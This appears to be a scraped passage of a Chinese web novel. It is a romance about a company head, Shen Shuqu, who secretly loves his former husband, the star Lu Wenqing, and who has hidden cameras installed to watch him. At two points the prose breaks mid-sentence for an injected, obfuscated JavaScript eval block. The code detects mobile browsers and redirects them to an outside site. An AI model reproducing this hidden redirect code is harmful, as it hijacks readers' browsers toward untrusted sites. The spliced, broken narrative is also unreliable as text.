咖位到他这样,圈子里的资源就不是倾斜而是向他攀缘。 全球十刊限量秒空,所谓顶奢,摆在他跟前也不过是一套衣服一件首饰。 “陆老师。” “陆老师好。” 一路走去此起彼伏的问好,陆闻轻微微颔首算作回应。 摄影助理正在调灯光,回头看到他立马站直身子,小心翼翼地开口:“陆老师。” 陆闻轻瞥她一眼,莫名其妙:“你这么怕我做什么?” 她嗫嚅了下,等想好措辞再抬头,陆闻轻已经进化妆间了,不由得又松口气。 湉湉乐颠颠跟摄影助理摆摆手,跟在陆闻轻后面小声说:“您不知道自己冷冰冰看人的时候跟看狗一样吗?粉丝那句Daddy您以为空穴来风白叫的呀。” 陆闻轻侧过头,面无表情看她一眼。 湉湉立即后退一步,抬手向天:“sorry,粉丝说的,我去取服装。” - 这几年锦盛在做原创剧,每次剧本会都吵得不可开交。 沈书渠单手撑着头,有一下没一下按着太阳穴听一会议室的编剧针锋相对,端起咖啡喝了一口。 昨晚冷水澡洗得时间长,后半夜就发了烧。 助理叶缘发现他嘴唇发白,低声问他:“沈总,你身体不舒服?” 话音一落,会议室里静了一秒。 宋屏见缝插针,立即往对面甩了一飞刀:“你看看,都是你们把沈总气病了。” 颜静被这一黑锅扣得眼白一翻:“怎么是我们气的,沈总明察秋毫洞悉毫厘,要气也是你们气的,我们组的本子去年才拿了奖,你们呢?” “我们去年赚的多,明白全平台大爆剧的含义吗?”宋屏双手奉上自己带来的热牛奶:“沈总,生病就别喝咖啡了,喝牛奶啊,对身体好。” “你懂不懂常识。”颜静掏出一袋感冒灵,往桌上一拍:“沈总,病了咱吃药,别信那偏方哈。” “沈总英明神武能乱吃药吗,吃坏了你负责?” “……”沈书渠环视一圈,觉得头更痛了。 “我觉得……”沈书渠撑着额头,在一群编剧的殷殷关爱之下,屈指轻叩桌面:“一周之内,给英明神武的沈总一个完美的选题,散会。” 会议室安静一瞬。 宋屏眨眨眼:“啊?这还是我们沈总吗?” 颜静扭头一看窗外,拿过自己的笔记本迤迤然离开会议室:“夭寿,太阳打西边出来了。” 一场会开完,沈书渠嗓子发痒,头更重了。 叶缘盯着他吃了两片退烧药,絮叨他整天三病两痛没人管非把自己养死。 沈书渠低头翻文件,听见敲门声,随口应道:“进来。” 尤微推门进来,简略报告了昨晚的事:“沈总,这次是我的疏忽,我会承担一切责任。” 沈书渠从文件里抬起头,看她一眼。 尤微在娱乐圈算是身经百战,但被他这一眼看得莫名发怵。 “我已经要求对方删除所有照片并要求写保证书,除此之外房子我会处理掉。以后我会多注意,保证不会再发生这样的事。” 沈书渠眼皮未抬:“人什么时候放?” 尤微掌心有点出汗,不知道他这态度是满意还是不满意,一句“要不然您骂我一顿算了”顶到嘴边,诚心陆闻轻早点解约离婚也好。 沈书渠抬头,看她欲言又止:“怎么了?” 尤微连忙说:“因为还是未成年,也没有损害财物所以只拘留半个月。” “我知道了,你去吧。” 尤微劫后余生,赶忙告退了。 叶缘那两片退烧药效力强劲,沈书渠下午已经好多了,只是骨头还残留着高烧后的酸痛沉重。 五点二十,还有十分钟下班。 沈书渠摘下眼镜,双手撑在额头上闭了会眼睛,理智与欲望无声厮杀。 最终欲望占了上风,他打开手机里其中一个图标。 一分钟,不,十秒钟就好。 他只短暂占有十秒钟的陆闻轻,监控装得很隐蔽,不会影响任何人。 沈书渠重新戴上眼镜,把时间拉回九个半小时以前。 陆闻轻靠着餐桌喝水,凸起的喉结一上一下滚动,漫不经心的一眼恰好扫过镜头。 沈书渠整个人都僵了一下。 这一眼更像是一个只有他能听见的号角,裁判官无声地给他发了一只黄牌,警告他不要犯规,要遵守游戏规则。 十秒钟到期,沈书渠没再继续看,很果断的关掉监控。 林锦的邀约还要赴,他拿上大衣出门。 壁球馆在一个很私人的会所里。 馆内常温二十四度,林锦穿了件运动短袖靠在一边跟人说话,从远处看像个青春未褪的大学生。 沈书渠带着寒气走近。 林锦回过头,立即皱起眉头:“你怎么总穿这么正式啊,和我打完壁球要赶时间去联合国签什么和平协议吗?” 沈书渠:“……” 林锦觉得他像在做什么仪式,一丝不苟好像随时可以满足什么人西装控的癖好。 “小锦,不给我介绍一下?”一旁的男人适时开口,打断了叶锦的抱怨。 “沈书渠,锦盛的老板。”林锦说完,又转过身给沈书渠介绍:“楚津东,勤诚律师事务所的高级合伙人,前几年那个很轰动的解约案就是他打赢的。” 楚津东伸出右手,礼貌而绅士地弯唇:“沈总,好久不见。” 沈书渠对他没印象也不太喜欢交朋友,但基于礼貌还是略作回应:“幸会,楚先生。” 林锦奇怪:“原来你们认识啊?” 楚津东笑笑:“不算,我见过沈总一次,不过他可能对我没有印象,这次就当做是初次相识吧。” 林锦面无表情:“哦,说了这么多,原来还是要靠我引荐啊。” 楚津东从善如流,笑道:“是啊,谢谢你引荐我认识沈总,改天请你吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094437|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当做道谢。沈总,这是我的名片。” 他的名片是很柔和的米色,不太像一个会在法庭上唇枪舌战的精英律师,更像个温柔的医生。 “希望五分钟之后它不会被沈总丢到垃圾桶里。” 沈书渠将名片放进大衣口袋:“不会。” 楚津东拿起自己的球拍,笑吟吟说:“抱歉,我还有事要先走一步,改天一起打球。” 沈书渠抬步去换衣间。 林锦跟上来,靠在柜子边看他脱大衣、拆领带。 林锦觉得沈书渠要是一个被公开贩售的手办,那他的主人拆起来一定很有意思。 “你有发现我很不高兴吗?” 沈书渠将手表放在柜子里,套上宽松的运动短袖上衣顺手关门:“有,你不高兴的时候话会很少。” 林锦一口气憋在胸口,觉得被他捅了一刀,“你意思是说我平时是话唠吗?” “我没有这个意思,只是觉得你太操心了。” 沈书渠做什么事心里都有数,有些内情不方便对他说也是因为林锦沉不住气,容易好心办坏事。 林锦抛着手里的球,很直接地警告他:“你再这样玩命,我迟早要到太平间为你认尸,你知道我很害怕那种东西,不会去的。” 沈书渠不想逆着他,但也不可能就此收手,索性转移话题:“不是要打球吗?” 林锦看他油盐不进,气得拿过球拍:“你是不是欠陆闻轻的。” 壁球很耗体力,打了不到半小时林锦就发现沈书渠和平时不太一样。 “你怎么落后我这么多?不舒服?” “有点发烧,不要紧。” 林锦立刻收拍,皱眉道:“什么不要紧,你病了干嘛不说,真把自己当神仙啊。” “我心里有数。” 林锦顺势靠坐在地上,敏锐地发现他状态也不太对:“你心情不好?因为陆闻轻?” “没有。” “嘴比蚌壳还硬,难过就说呗,我又不会笑话你,真想笑在你跟自己合法丈夫搞暗恋的时候就笑完了。” 沈书渠没想过能跟陆闻轻有将来,所以不会因为他心情不好。 即便有一天两人离婚,他其实也能伸手交握,礼貌笑祝婚姻美满,讲一句再见悄然退场,做一个合格的不打扰的“前任”。 “林锦,喜欢他其实是在满足我自己的欲望,和他无关的。” 他从来不觉得陆闻轻有责任回应他的喜欢,没有人有责任回应任何人。 这个世界喜欢陆闻轻的人那么多,他若要个个回应,排队到下辈子也轮不到他。 何况,他的目的也不是为了得到陆闻轻的爱和他的人,他只需要在自己力所能及的地方保他平安健康。 沈书渠解释一遍,很平静地看林锦:“你能明白吗?” “我不能。”林锦微微皱起眉,他一直觉得沈书渠对自己太苛刻了。 “你们是合法的一张证上的关系,你大可以要求他来爱你,就算不爱逢场作戏总行吧?他一个影帝,什么演不出来?圈子里那些因他而火的人,什么阿猫阿狗都能光明正大喊一声陆哥,你呢?” “我不能。”沈书渠把林锦的话原封不动还回去。 “你没救了。”林锦把瓶子捏得咔吧咔吧直响,没好气说:“你这样,我会觉得你像是欠他一条命,在努力赎罪。” 沈书渠迟疑了一会,说:“昨天他在我那里住。” 林锦“哦”了声,接着呛了口水:“什么?谁?陆闻轻在你那儿住?那你们做了?” 他说完,又带着很大偏见说:“他技术是不是特别烂?是不是他把你弄发烧的?” “……你少看点那种东西,我们没什么,他的房子不安全,临时到我那儿住一晚上。” 林锦茫然:“不是,他人都送到你家里了还没什么?这么适合花前月下、干柴烈火、擦枪走火的好机会你不珍惜,来陪我打球?” 沈书渠慢条斯理喝水,丝毫没有要走的样子。 林锦脑子里冒出一个念头:“你最好不是因为怕自己回去多了,陆闻轻不肯在你那里住了这个理由把自己扫地出门。” 沈书渠没接话。 林锦见他默认,一口气上不来,在他身后幽幽说了句:“不要告诉我你的房子里有监控。” 沈书渠再次默认。 林锦觉得他疯了,拧眉道:“你是真不怕他弄死你。” 沈书渠知道安插人装监控这种事非常不道德,但他没有办法。 他就像一个干渴的沙漠旅人,凭着海市蜃楼才能走下去。 “你老实说,真的一点也不想见陆闻轻?”林锦不信他能忍得下去,皱眉道:“回家去又能怎么样?” 陆闻轻恰巧听见这句话,脚步一顿,侧眸看了眼玻璃门里的两道背对着的身影。 沈书渠沉默了很长时间,没有回答想不想,而是说:“如果被拍到,离婚了会有很多麻烦。” 陆闻轻眸色渐深,很轻地笑了下,原来如此。 5. 清渠决决(五) 沈书渠带病,眼前有些重影。 林锦怕他晕在这儿,从地上爬起来说:“算了别打了,去洗澡吧。” 沈书渠先回去放球拍,关柜门时,不期然听见一声清脆掉落。 一只红丝绒盒子在地上弹了两下,掉出一条成色绝佳的珍珠项链,恰好落到他脚边。 沈书渠弯下腰帮忙捡起来,一转身当场愣了一下。 陆闻轻。 他没戴口罩和帽子,不知道在那儿站了多久。 沈书渠脊背顶着储物柜的门,很快冷静下来:“你怎么在这儿?” 陆闻轻没回答,而是伸手点点他的方向:“我的东西。” 沈书渠顺着手指方向低下头,这条项链的珍珠尺寸并不算很大,末端坠了一颗镶嵌蓝钻的七芒星。 收这份礼物的人应该是女性,年纪不大。 沈书渠没多猜测收礼物的人是谁,将项链妥善放进盒子交还给他。 “谢谢。”陆闻轻伸手接过,微带薄茧的指尖不经意擦过掌心带来一闪而逝的酥麻。 “不客气。”沈书渠收回手,忍住握紧掌心挽留温度的冲动,说:“我还有事,先走……” 下一秒,陆闻轻俯身接近。 沈书渠下意识后退半步,就在他反应的一瞬间听见一声很低的:“别动。” 这一句简短的否决像命令。 沈书渠定在原地,怔愣看着陆闻轻低下头,根根分明的睫毛与温热呼吸不断逼近,下意识别过头。 “领子乱了。”陆闻轻指尖一挑,指尖不经意擦过他颈侧皮肤,“喜欢打壁球?” 沈书渠脖子发痒,下意识动了动:“还好,偶尔会来。” “一个人来的?” 两人距离很近,沈书渠思考能力有限,先点了下头接着又纠正:“不是,跟朋友一起。” “还有力气么?” 沈书渠一下没明白过来:“什么?” “要不要跟我打一场?”陆闻轻把那只红丝绒盒子放在他的储物柜里,“我没伴。” 他没伴,并且在邀请他。 沈书渠脑子里有一瞬间的停顿,像老旧的机器运行卡顿,但很快又反应过来:“我还……” 陆闻轻轻解袖扣,几乎和他同时开口:“陪我打一会?” 林锦冲完澡出来,迎头看到沈书渠背靠储物柜,面前则是垂眸解衬衣袖扣的陆闻轻,吓得直接叫出来。 “陆闻轻?!!” 陆闻轻袖扣解了一半,听见响亮的一嗓子,一掀眼皮看过去。 林锦茫然眨眼,脑子里冒出一句“我来的不是时候”,又被陆闻轻这一眼看得莫名发毛。 沈书渠轻咳一声,说:“林锦。” 林锦一把拽过沈书渠,低声问他:“他脱衣服干嘛?更衣室人来人往既没床也没桌子的难道他要就地……唔唔!!!” 沈书渠一把捂住他的嘴,低声解释:“只是碰巧遇见,不是你想的那样。” “?” 陆闻轻将衬衣袖子挽上小臂,很敏锐地察觉出这人对自己有种敌意,既像护短又像宣誓主权。 “不方便么?” 沈书渠还没开口,林锦先一步抢过话头:“没想到陆老师也喜欢打壁球啊,我跟书渠常来,不如改天一起?” 这句书渠也叫得亲昵熟稔,像是刻意加重了音节。 陆闻轻把衬衫挽上小臂,看向沈书渠:“要改天吗?” “我们打完准备走了,以后有机会再说。”林锦偏头去看沈书渠,低声警告他:“你忘了自己病还没好?他喊你就打,让你跳楼你去不去啊?” 沈书渠沉吟片刻,说:“今天吧。”说完又跟林锦摇了下头:“不要紧,只打一会不会有问题,我心里有数。” 林锦最不喜欢听他说不要紧、心里有数,他说这些话基本都是基于一种“死不了就是没问题”的概念上。 “什么不会有问题,你就是……” 沈书渠拍拍林锦肩膀,打断他的话,“你不是跟程未衍有约吗?你快迟到了。” 林锦不敢耽误接下来的会面,忿忿走了。 沈书渠看陆闻轻空着手,压下要去给他买个新球拍的想法,说:“你带球拍了吗?没有的话先用我的?” 陆闻轻接过来在手上掂量了两下,随口问了句:“你朋友知道我们结过婚么?” “知道。”沈书渠说完,担心他认为林锦不可靠,便又补上一句:“只有他一个人知道。” 难怪。 陆闻轻笑了下:“走吧。” 沈书渠带着感冒打过半个小时,陆闻轻体力好打球又凶,和他配合本就艰难,所以更耗力气。 能跟他打球的机会不多,这可能是唯一一次,他甚至于想结束后把馆内的监控一并拷走。 球砸向墙壁,一声声震着耳膜。 沈书渠攥着球拍,重重咬了下口腔中的嫩肉勉强提起精神,接住一球挥向墙壁,没表现出半分疲惫与病态。 两人交替站位,肩膀和手臂无法避免地摩擦相碰。 沈书渠一边接球一边分心避开,简直是双重压力。 陆闻轻游刃有余,甚至能抽出时间打量沈书渠,从金边眼镜后的清淡双眸到劲瘦的小臂,再到那串不离身的黑色佛珠。 那双幽深双眸直白不加掩饰,是称得上严苛的评估与审视。 下一次球撞壁弹回来时,陆闻轻不经意错了半个身位。 沈书渠猝不及防撞到他怀里,下意识退开时踉跄半步,被一只坚硬手臂揽住后腰托回来。 掌心贴住后腰,很热,很潮。 沈书渠手抖了下,心脏几乎在一瞬间从口中跳出来。 心底的瘾在一瞬间蓬勃生长,如一颗深埋坑矿中的种子突遭春日雨水浇灌,瞬间苏醒血液冲破土层舒展叶脉,拼命想要汲取水滴的润泽。 沈书渠及时咬住舌尖,咽下一声喘息。 陆闻轻收回手的同时挥拍击球,神色无波无澜,仿佛那一下只是顺手。 “没事吧?”陆闻轻停下动作,垂眸问询,语气称得上绅士,丝毫看不出是故意挡了别人的路。 “没事。”沈书渠短促喘了口气,尽量让自己神态看起来自然一些,不至于让人看出来碰一下就情动。 虽然他现在真的脑袋发热,骨骼绵软,幽闭的环境无法无天地滋生了一些卑劣下等的欲/望。 “抱歉,我没站稳,继续吧。”沈书渠弯腰捡起球,重新发球。 他第一次知道壁球是在五年前。 陆闻轻握着他的手从身后揽过,教他挥拍,另一只手会放在他小腹上。 每次他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094438|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸与含笑嗓音一起落在颈侧,他根本没心思听这个老师教了什么。 他学不好,陆闻轻就要罚他,让他给老师道歉,要规规矩矩完整说对不起,少一个字也不行。 沈书渠被他弄得退无可退,恼怒说不学他又会…… “砰。” 沈书渠一拍挥空。 陆闻轻接住落在地上又弹起来的球,顺手按住他球拍。 “不打了。” 沈书渠拨回下滑的眼镜,微微喘着气:“你累了?” 陆闻轻纠正他:“是你累了。” 沈书渠其实还好,虽然眼前有点重影但其实还在承受范围内,至少再打个半个小时也不会有问题。 不过陆闻轻说不打了,他也不会强求。 这间球室是他私有不对外开放的,沈书渠打开抽屉取了两瓶水,顿了顿,又放回去。 几年前陆闻轻参加一个公益活动,当时现场人非常多,有人趁乱在水里下了药,幸而是只喝了一口没造成太大伤害。 从那以后他就不吃陌生人的东西。 陆闻轻发现他拿了又放回去,眉尖微微蹙起又很快松开,像是在思量什么。 这状态和昨晚取香的时候一样,给人一种很克制又很小气的感觉,是舍不得一支香还是舍不得一瓶水? 因为离婚了会很难解释,所以不愿意跟他有牵扯,连细枝末节都要算清楚? 陆闻轻这人和绅士不搭边,明知道他不愿意,却偏要问:“沈总,一瓶水也要舍不得?” 沈书渠犹豫了一秒钟,说:“外面的东西不安全。” 陆闻轻侧过身看他,“哦,你给我下药了?” “没有,我……听尤微说你被人下过药,还是小心一点比较好,我只是你老板,这样的关系未必可靠。” 陆闻轻拉开抽屉取出一瓶水,指尖微微用力拧开,直接打断他的话:“那你喝一口。” 沈书渠怔了一瞬,那瓶水离他的嘴仅有半寸,陆闻轻语气并不锋利但藏着毋庸置疑的命令感。 他伸手去接,但陆闻轻却像是怕他拎着水跑了或者毁尸灭迹,眼神微微下压:“手拿开,张嘴。” 沈书渠只好就着他的手含住瓶口。 他喝水很斯文,小口小口,陆闻轻觉得,哪怕是品红酒也未必有这样矜持。 陆闻轻收回手,拇指不经意在他喝过瓶口蹭了一下:“这么爽快,看来确实没下药。” 瓶盖丢在桌上发出清脆“啪嗒”一声,沈书渠刚想要提醒他自己喝过了,就眼睁睁看着他……倒了一部分在右手上,水流淋过修长指骨。 ……只是洗手。 “怎么?以为我要喝?”陆闻轻屈指弹了下指尖的水珠,将左手也洗干净。 他当然不会喝,刚才的担忧实属多余,且不说他不是陆闻轻的例外,即便是,得例外到什么程度陆闻轻会去吃他的口水。 “时候不早我该走了。”沈书渠抬手看表,拿过球拍说:“有人接你吗?” 陆闻轻像是没听出他话里的意思,说:“没有。” 沈书渠今天是一个人来的,不过公司离得不远,不堵车的话陈昱十分钟就可以到。 “我找人送你,你稍等。” “沈书渠。”陆闻轻等他抬起头,一字一顿说:“我不坐陌生人的车。” 6. 清渠决决(六) 这意思很明显了,他要自己送。 沈书渠本想解释陈昱很可靠,但觉得他应该不会信,“你要去哪儿,我送你。” “星海岛,会不会耽误你?”陆闻轻略微歪头,堪称礼貌地说:“如果太麻烦你就算了,我自己也可以过去。” 沈书渠有点头疼,他明明有很多事要做,但陆闻轻就是可以随意插队。 他在自己这里,永远是没法拒绝的第一顺位。 “不耽误,我晚上没别的事要做,我先去换衣服,你在这里等我不要乱跑。” 陆闻轻点头:“去吧。” 沈书渠拿过两把球拍离开,陆闻轻在他背影上停留几秒,又看向自己的掌心。 刚才他故意试探,沈书渠的反应比他想象中还要激烈。 那一瞬间的肌肉紧绷,整个腰都挺直了,还有霎时紊乱的呼吸以及明显的排斥。 手机响了一声,陆闻轻收回思绪。 手机那头的女声清脆,语气里含着明晃晃的刁蛮:“陆闻轻,我的项链呢?你怎么还没来啊?不是早就告诉我去取了吗!” 陆闻轻的确是来取礼物的,但在这儿遇上了沈书渠。 那条价值连城珍珠项链就被当做了探路石,并且现在还在他的储物柜。 “赔你别的。” 乔雨葵软磨硬泡了半个多月,一听就不乐意了:“我不要别的,那条项链是简芬妮给DI设计的百年纪念款,全球就一个,你明明答应要送给我的。” 陆闻轻纠正她:“我说的是尽量,不是一定送给你,乔小姐。” “你说的尽量就是一定的意思。”乔雨葵眯起眼,机警地质问他:“你是不是送给别人了?” 陆闻轻靠在桌边,指尖有一下没一下敲着,想起勾在那只修长手指上的圆润珍珠,倒是能显出几分设计的漂亮。 “丢了,赔你别的。” “丢了?!那是无价之宝你说丢就丢呀。”乔雨葵不满地撒娇,但知道陆闻轻决定的事是更改不了的,便说:“那你要送我什么嘛?我要告诉妈妈你不疼我了。” 沈书渠怕陆闻轻久等,简单冲澡换衣服连领带也未系,只随便折起来放进大衣口袋就匆匆赶回来。 玻璃门半敞,陆闻轻斜靠在柜子边,嗓音温柔放松:“不疼你,亲自给你庆生?” 沈书渠指骨距离玻璃半寸停下来,胸口无法避免地窒了窒。 陆闻轻遣词酌句称得温柔纵容,是电影杂志和外界都看不到的另一面。 沈书渠怔了一会,往旁边退了半步,不至于显得自己在偷听。 他其实也不太想继续听下去,但壁球室很空旷,陆闻轻的声音撞壁发出轻微的回音,清晰地传到他的耳朵里。 他和林锦说自己能礼貌祝愿陆闻轻和别人百年好合是真的,做不到半点儿不难过也是真的。 毕竟喜欢一个人是很没办法的事,如果能被自己完全掌控,这世界上也就没那么多爱恨情仇和对簿公堂了。 不过他没有要占有陆闻轻的想法,其实也不太失望。 过了几秒钟。 沈书渠再抬起眼时,镜片后的双眸已经恢复如常,礼貌地屈指敲敲玻璃:“走吗?” 陆闻轻转过身,说了句“再撒娇就没有了”将电话挂了,看向重新装扮好的沈书渠:“洗这么快?” “嗯。”沈书渠手臂上搭着大衣,把带来的红色丝绒盒子交给他:“简单冲一下,你的东西。” “……”刻意留下项链的陆闻轻:“谢谢。” 两人一起乘电梯去停车场。 壁球馆绿植葱葱郁郁,每一篇叶子都饱满油亮,空气中弥散着很淡的香气。 楼层数字不断闪烁,最终停下来。 轿厢门打开又关上,沈书渠静静看着数字跳动。 这不足五平米的空间内,他们共同拥有了四秒的时间。 “哎?陆闻轻你怎么还没走?” 简芬妮从楼上下来,一身很利落的白色西装套装裙,肩上松垮搭了一条火红色的毛披肩。 十几公分的高跟鞋又尖又细,走起路来竟然步履生风。 一阵香风袭来,沈书渠只觉得她未免太抗冻了。 简芬妮注意力全在那只丝绒盒子上,她明明包装很漂亮还打了蝴蝶结,现在怎么成这样了? “这么急着拆?”简芬妮眼神游弋,落在沈书渠脸上。 怎么这项链竟不是送给女孩子是送给男人的? “陆老师,你这项链原来……”简芬妮眉眼微弯,突然有一种接近真相的强烈预感。 圈内外都知道陆闻轻已婚,但从没人见过他和谁特别亲密,难道…… 陆闻轻语气淡然,说:“看看有没有瑕疵。” “……”简芬妮盯着一旁沉静不语的沈书渠,明示陆闻轻:“不打算介绍一下?” 陆闻轻回答得很快:“有那个必要?” 沈书渠大衣下的手指僵了一下。 简芬妮笑道:“怎么没必要,别这么小气啊,我保证守口如瓶。” “沈书渠,我公司老板。” 简芬妮预感破灭,略有些尴尬地笑笑,“沈总,我是简芬妮,给你们家陆老师设计过几款首饰,您应该见过。” 沈书渠换了只手拿衣服,礼貌和她交握了一下,感觉到她冰块一样毫无温度的手指尖,“……久仰。” “哦对。”简芬妮从袋子里摸出两张洒金烫银的邀请函:“DI请不动陆闻轻大驾,找我来当说客。沈总,你也管管你家陆闻轻,别这么惯着他。” 沈书渠礼貌接过请柬,委婉道:“陆老师档期合适会去的。” 简芬妮听惯了这种客套,笑意盈盈问:“那您呢?我希望能在晚宴上看到您,后面还有一个慈善拍卖,说不定会有您喜欢的东西。” 沈书渠这次很直接地拒绝了她:“感谢你的好意,我不是圈内人,应该不会去。” 简芬妮惋惜地叹了口气,随即又神秘兮兮靠近,“沈总,冒昧请教一下,他隐婚这么多年了真不是个幌子啊?” 隐婚对象本人怔了下,本能往陆闻轻的方向看了眼,正思忖怎样回答就听他说:“首先,我没有隐婚,我结婚当天就公开了,他不是圈内人没必要公布身份。其次,你问我老板做什么?” 简芬妮白眼一翻:“什么宝贝,护得这么严实,含在嘴里也怕化了吧陆老师。” 陆闻轻笑意莞尔:“不然呢,不宝贝娶回家做什么。” 沈书渠虽然知道是客气话,但心脏还是忍不住麻了一下。 镜片后的双眸微微颤动,很快又别过头看向其他地方。 简芬妮一身衣服中看不中用,到底还是挨不住冷,搓搓手臂上车走了。 沈书渠拿着两张邀请函不确定陆闻轻要不要去,开车门时还是问了一下:“你想去吗?如果不去我会安排尤微回绝。” 陆闻轻指尖点住车窗,不答反问:“你是我的司机吗?” 沈书渠按着后座车门,其实更宁愿他把自己当司机,但见他不要坐后面还是关上门,打开副驾:“上车吧。” 傍晚天色很沉,细碎的雪花簌簌下落。 沈书渠把车内暖气调整到舒适又不至于很闷的档位,陆闻轻呼吸平稳,但在幽闭的车里还是有无法忽视的存在感。 沈书渠放慢呼吸,他的瘾比自己想象中更强烈。 尤其陆闻轻对他来说有绝对的吸引力,只要靠近就会心潮沸腾。 他理智知道要离得远远的,可身体又克制不住地想靠近,就像他再清楚界限也还是会忍不住想着他高/潮。 “红灯了。” 沈书渠正出神,猛地听见一声低沉的命令:“ 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岛上按理是不让行车的,但在制订规则的人眼里,再多条框也只是废纸。 齐敬提前打过招呼,沈书渠的车一路畅行到了揽翠园。 这里是不对外开放的私人会所,不用担心被拍。 陆闻轻推门下车,听见身后那道冷嗓叫他。 沈书渠从手扶箱里取出一只单独封装的口罩,“戴上吧。” 陆闻轻盯着他的手看了两秒钟,接过来戴上,瞥见中控上那两张奢华优雅的邀请函,用食指点了点。 “收好。” 沈书渠顺着手指的方向,看到请柬上的丝绒盒子,再回过头时陆闻轻已经走了。 沈书渠看着他进门的背影,很用力地呼吸了一下残留的气味,垂头靠在方向盘上喃喃说了声:“会收好的。” 陆闻轻一进门,齐敬就盯着他的口罩:“怎么还戴上口罩了?感冒了?” “别人让戴的。”陆闻轻摘下口罩,随手丢进一旁的垃圾桶:“脾气不好,不戴估计会不高兴。” “谁敢跟你不高兴。”齐敬收起二郎腿往楼梯口走,“走,快开始了。” 一层层门刷开,足足有七八道关卡。 目的地是一个豁然开朗的大厅,中间一个圆弧形舞台,边缘是一个可升降的单向玻璃展台。 一楼是普通观赏区,二楼是高隐私性的vip区。 齐敬跷着二郎腿坐在沙发上,随手翻了翻今天的演出条目。 他是齐家的独苗,虽然也是众星捧月长大,但和顾向平这种游手好闲的富二代不一样。 十九岁那年他父母突逢意外双双去世,他一手接过公司,看着不谙世事,其实扮猪吃老虎把那帮倚老卖老的董事坑得找不着北。 全场灯光熄灭,演出很快开始。 陆闻轻单手撑着下颌,眼神还在但思绪早就飘远了。 齐敬见他兴致缺缺,也从台上收回视线:“听说你最近对一个姓宁的小孩儿挺感兴趣?唔,乖巧懂事,听话顺从,是你的口味。” “不感兴趣。”陆闻轻不爱说人是非,只淡淡提醒:“他不是你想象的那么单纯。” 齐敬不着痕迹地笑了笑:“不单纯,一个玩意儿能翻出什么花儿去,无非是想在你跟前刷个脸熟,顺便求点儿资源。” 娱乐圈比任何圈子都残酷,每天层出不穷的新艺人要出道。 新面孔的更新迭代比电子产品还要快,有可能哪天醒来突然就被人完全替代了。 陆闻轻高居巅峰,但也不至于不知人间疾苦,齐敬笑说:“他干什么了?” 陆闻轻嗓音很淡,听起来没什么感情:“他想跟我睡觉。” 7. 清渠决决(七) 沈书渠在车里坐了一会,凛冽的风顺着窗户吹进来,将窒闷压抑的胸腔清洗一空。 他认识陆闻轻那年是十七岁,是那个金发碧眼国度里的一抹东方墨色,也是热情世界里的唯一一点静默。 他时刻被监视,没有朋友也听不懂他们说话。 陆闻轻是第一个和他说中文的人。 那时候他每天除了上课就是关在房间里,没有任何娱乐也不许见人。 陆闻轻来高中找人,跟他问路。 他不想说话索性就装哑巴,充耳不闻那道好听的男声跟他说Excuse me,只觉得很烦人,最后故意给他指了一个相反的方向。 他要过去至少得多绕一个多小时,沈书渠没有半点愧疚心,只觉得安静了。 没几天恰好又遇见,陆闻轻把他堵在走廊里,一只手按在墙上挡住他的去路,似笑非笑训斥他:“小哑巴,话不会说,倒挺会骗人,欠教训。” 沈书渠抬头看他一眼,露出一个很茫然的表情,捧着自己的书去了长椅上,打定了主意装不认识。 一阵风吹过扑簌簌落下来一大片樱花,陆闻轻伸手摘掉他头上的花瓣,往那本百年孤独上放了一小把糖。 沈书渠仰起头看他。 陆闻轻逆着光微微俯身,居高临下的年轻眉眼已经带着压迫感了,但因为在笑就显得不那么凶,反而很撩人。 “张嘴。” 陆闻轻剥开一颗糖放在他唇边,见他不动以为是没明白,又用拇指在他唇上揉了一下。 沈书渠用力咬了他一口,给了他一个血淋淋的教训。 陆闻轻指背上牙痕凹陷,他也没在意,抽出来随意捻了捻血迹,笑说:“哪儿来的小狗,牙还挺尖。” 他将糖放进自己口中,抽走沈书渠夹在书里的黑色钢笔又拿过他的手在掌心里写了三个字:陆闻轻。 笔尖摩擦掌心带来很轻微的痒,沈书渠要抽回手,却被他用盖上笔帽的钢笔点了点掌心:“记好,我的名字。” ——嗡嗡。 思绪骤然被打断,沈书渠接起电话。 林锦还有闷气,说起话就带着点儿阴阳怪气:“沈大神仙,还活着吗?” 沈书渠笑了下:“看样子还活着。” 他破天荒开个玩笑,林锦也被逗笑,随即又冷哼一声:“不要以为这样我就会原谅你,你现在在哪儿?我给你送点汤去。” 沈书渠重新启动车,“不用了,你自己喝吧,我还有事要办。” 出了星海岛,沈书渠调转方向去了碧林山庄。 从他有记忆起,沈正兴每年生日都办得极其宏大,宾客名单涉及各行各业,总不下于上百人。 他爱排场,喜欢烈火烹油鲜花着锦,因此宴会上一切装饰都要最好。 红酒佳酿,鲜果浓香,就连真丝桌布上装扮的鲜花都是空运而来,入眼之处皆是奢贵。 宴会厅觥筹交错。 沈正兴一身西装笔挺,胸口放着折叠完美的口袋巾,旁边站着优雅贵气的继室余欣。 沈书渠首次出现在沈家的宴会上,陌生又貌美的面孔瞬间引起关注。 “这是谁啊?” “我好像见过,总觉得长得有点像谁,一下子记不起来了。” “哦!”一个年级稍大的男人盯着沈书渠看了一会,恍然大悟:“是沈家的大公子吧,长得跟温小姐一模一样。” “温小姐?沈老板早前去世的那位前妻?听说是病死的,哎真是红颜薄命,可惜。” “听说沈老板跟温小姐是青梅竹马的感情,在世的时候特别恩爱,你说这儿子长得又这么像她,恐怕以后这家产也全都是他的了,老二怕不是什么也捞不着?” 